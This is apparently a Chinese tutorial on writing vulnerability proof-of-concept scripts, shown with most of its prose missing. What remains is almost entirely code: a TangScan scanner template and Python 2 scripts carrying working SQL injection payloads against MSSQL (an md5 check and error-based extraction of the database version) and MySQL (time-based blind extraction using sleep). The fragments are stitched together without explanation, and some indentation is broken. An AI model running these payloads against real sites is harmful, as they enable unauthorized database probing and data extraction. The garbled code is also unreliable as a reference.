如何自己动手编写漏洞POC

select md5(1);

#生成随机数
rand_num=random.randint(0,1000)
计算md5值
hash_flag=hashlib.md5(str(rand_num)).hexdigest()
…
#利用注入计算md5
…select md5({num})….format(num=rand_num)
…

select sys.fn_varbintohexstr(hashbytes('MD5','1'));

select CHR(97) || CHR(99) || CHR(120) || CHR(118) || CHR(99) || CHR(98) || CHR(110) from dual

select 'acxvcbn' from dual

Rand_str =
random.sample("1234789acioepLFTQVBUSEus",7)
keyword=''.join(Rand_str)
value=['CHR('+str(ord(x))+')||' for x in keyword]
value=''.join(value).rstrip('||')

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from modules.exploit import TSExploit

class TangScan(TSExploit):
    """
    类名必须是TangScan，而且需要继承于TSExploit
    """
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "",  # 该POC的名称
            "product": "",  # 该POC所针对的应用名称, 严格按照 tangscan 主页上的进行填写
            "product_version": "",  # 应用的版本号
            "desc": """
            """,  # 该POC的描述
            "license": self.license.TS,  # POC的版权信息
            "author": [""],  # 编写POC者
            "ref": [
                {self.ref.url: ""},  # 引用的url
                {self.ref.wooyun: ""},  # wooyun案例
            ],
            "type": self.type.injection,  # 漏洞类型
            "severity": self.severity.high,  # 漏洞等级
            "privileged": False,  # 是否需要登录
            "disclosure_date": "2014-09-17",  # 漏洞公开时间
            "create_date": "2014-09-17",  # POC 创建时间
        }

        self.register_option({
            "url": {  # POC 的参数 url
                "default": "",  # 参数的默认值
                "required": True,  # 参数是否必须
                "choices": [],  # 参数的可选值
                "convert": self.convert.url_field,  # 参数的转换函数
                "desc": ""  # 参数的描述
            }
        })

        self.register_result({
            "status": False,  # POC 的返回状态
            "data": {

            },  # POC 的返回数据
            "description": "",  # POC 返回对人类良好的信息
            "error": ""  # POC 执行失败的原因
        })

    def verify(self):
        """
        验证类型，尽量不触发waf规则
        :return:
        """
        pass

    def exploit(self):
        """
        攻击类型
        :return:
        """
        pass


if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

def exploit(self):        return self.verify()

def verify(self): 
        rand_num=random.randint(0,1000)
        hash_flag=hashlib.md5(str(rand_num)).hexdigest()
        payload=("1' and sys.fn_varbintohexstr(hashbytes('MD5', '{num}'))=0 and '1'='1").format(num=rand_num)
        exp_url="{domain}/xxxx?sql={py}".format(domain=self.option.url,py=payload)
        try:
            response = requests.get(url=exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return 
        if hash_flag not in response.content:
            self.result.status = False 
            return 
        self.result.status = True 
        self.result.description = "目标 {url} 存在SQL注入漏洞,\n\t测试链接: {eurl}".format(
            url=self.option.url,
            eurl=exp_url
        )
def exploit(self): 
    exp_url="{domain}/xxxx?sql=a' and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip('/'))
    try:
        response = requests.get(url=exp_url, timeout=15, verify=False)
        result = re.findall(r'~~~(.*?)~~~', response.content, re.S | re.I)
        except Exception, e:
            self.result.error = str(e)
            return
    if len(result) == 0:
            self.result.status = False 
            return 
    self.result.status = True
    self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的数据库版本信息: {version}\n\t测试链接: {eurl}".format(
        url=self.option.url,
        version=result[0],
        eurl=exp_url
    )

def verify(self):
        return self.exploit()

    def exploit(self):
        ver = ""
        ver_len = 0
        exp_url = ("{domain}/xxxx?sql=".format(domain=self.option.url))
        payloads = ['@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']+ list(string.ascii_lowercase)
        l = "1' AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))a) AND 'a'='a"
        s = "1' AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))a) AND 'a'='a"

        #获取长度
        for x in range(1, 30):
            start = time.time()
            py=l % str(x)
            vulurl=exp_url+py
            try:
                response = requests.get(vulurl,timeout=15, verify=False)
                #限制访问速度
                time.sleep(0.5)
                if response.status_code != 200:
                    self.result.status = False
                    return
            except Exception,e:
                self.result.error = str(e)
                return
            end = time.time()
            if (end - start) >=8:
                ver_len = x
                break

        if ver_len == 0:
            self.result.status = False
            return

        #移位获取数据
        for x in range(1, ver_len+1):
            for payload in payloads:
                start = time.time()
                py= s % (str(x), str(ord(payload)))
                vulurl=exp_url+py
                try:
                    response = requests.get(vulurl, timeout=15, verify=False)
                    #限制请求速率
                    time.sleep(0.5)
                    if response.status_code != 200:
                        self.result.status = False
                        return
                except Exception,e:
                    self.result.error = str(e)
                    return
                end = time.time()
                if (end - start) >=6:
                    ver = ver + payload
        #检查长度
        if len(ver)!=ver_len:
            self.result.status = False
            return
        self.result.status = True
        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的当前数据库版本为：{db_ver}".format(
            url=self.option.url,
            db_ver=ver
        )